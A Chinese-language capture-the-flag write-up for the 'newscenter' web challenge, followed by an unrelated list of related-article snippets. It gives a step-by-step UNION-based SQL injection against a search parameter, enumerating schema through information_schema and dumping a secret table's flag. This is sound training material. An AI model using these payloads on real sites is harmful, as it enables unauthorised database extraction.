攻防世界-web-newscenter

news/2024/11/24 11:39:45/

题目描述:打开链接,只有一个搜索框,然后就是一条一条新闻的记录

开启burpsuite,我们在搜索框中随便输入点什么,然后进行搜索,看下抓到的包

这里搜索的时候只有一个search参数,查询到的新闻数也变了。这里这里关键渗透点在于这个search参数,而且这种记录一般是存在数据库中的,因此推测这里大概率存在sql注入

1. 思路分析

推测这里存在sql注入,那一般的做法是先确认渗透点,然后确认回显字段,进而利用回显找出数据库名称,表名,字段名,最终查出字段信息。当然,也可以用sqlmap工具,这里为了练习,手动进行相应的操作,就不展示sqlmap了

2. 渗透过程

2.1 首先,我们先确认sql注入点是否存在,构造参数 1' or 1=1 -- 1,发现相比于直接搜索1显示出来的值更全了,因此推测渗透点肯定存在

2.2 然后,确认回显字段,构造参数:1' or 1 = 1 union select 1,2,3 -- 1 ,确认查询记录中的第二和第三个字段进行了回显

 

2.3 进一步,确认数据库名称,构造参数:1' or 1 = 1 union select 1,2,database() -- 1

2.4 然后,确认表名,构造参数:1' or 1 = 1 union select 1,2,table_name from information_schema.tables where table_schema='news'  -- 1

2.5 拿到表中的字段信息,构造查询语句:1' or 1 = 1 union select 1,2,column_name from information_schema.columns where table_schema='news' and table_name='secret_table'  -- 1

发现存在两个字段,一个id,一个fl4g

2.6 最后查询出对应的值,构造语句如下:1' or 1 = 1 union select 1,id,fl4g from secret_table  -- 1

查询出flag为 QCTF{sq1_inJec7ion_ezzz}

总结:很基础的一道sql注入题目,展示的sql注入的一般过程以及基本方法,利用or及union操作进行绕过,适合练习


http://www.ppmy.cn/news/108137.html

相关文章

小程序、网页跳转App的原理

从不同的渠道,如小程序、二维码、网页等,直接跳转到App内对应的页面,并传递相关的参数信息,已经由拥有深度链接技术的SDK实现了,App只需接入这类SDK即可获得多样化跳转的功能。本文将详细介绍多样化跳转的原理。 多样…

Spring Cloud Zuul 是什么?如何使用它来实现 API 网关?

Spring Cloud Zuul 是什么?如何使用它来实现 API 网关? 在微服务架构中,服务之间的通信变得非常频繁和复杂。为了简化服务之间的通信和管理,很多企业都采用了 API 网关的架构模式。API 网关可以帮助我们统一处理服务的入口、路由…

高压放大器在驱动压电陶瓷进行铝板无损检测中的应用研究

想要达成在不损害或不影响被测对象使用性能及自身性质的前提下,对被测对象内部进行缺陷,结构,失效分析,就得用到无损检测(Non Destructive Testing)技术,最常用的无损检测方法有很多&#xff0c…

查看elf文件的常用命令总结

一,简介 本文主要介绍什么是elf文件,以及查看elf文件内部信息的常用命令。 二,ELF文件介绍 ELF(Excutable Linkable Format)。 ELF文件不仅包括可执行文件还包括动态链接库和静态链接库。 三,常用命令汇…

Java阶段三Day06

Java阶段三Day06 文章目录 Java阶段三Day06同步请求和异步请求案例演示创建SpringBoot工程application.propertiesUserControllerUserMapper静态页面 JSONSpring Security引入SpringSecurity框架对项目的影响关于SpringSecurity的配置默认登录表单设置白名单模拟登录使用自己的…

Python期末复习题库(下)——“Python”

小雅兰期末加油冲冲冲!!! 1. (单选题)下列关于文件打开模式的说法,错误的是( C )。 A. r代表以只读方式打开文件 B. w代表以只写方式打开文件 C. a代表以二进制形式打开文件 D. 模式中使用时,文件可读可写 2. (单选题)下列选项中,以追加…

水声声波频率如何划分?水声功率放大器可将频率放大到20MHz吗?

水声声波频率如何划分?水声功率放大器可将频率放大到20MHz吗? 现如今我们可以在地球任意地区实现通信,是因为电磁波的作用。但是我们都知道海洋占了全球十分之七面积,电磁波在水下衰减速度太快,无法做到远距离传输&am…

学会这两件事,让你在人生路上走得更远

人生,就是一场不断前行,没有退路的旅行,也是一场不断醒悟的过程。 看透,然后醒悟;放下,然后幸福。 有些事,看淡就好;有些人,看穿就行。 不管世事如何艰难,只要…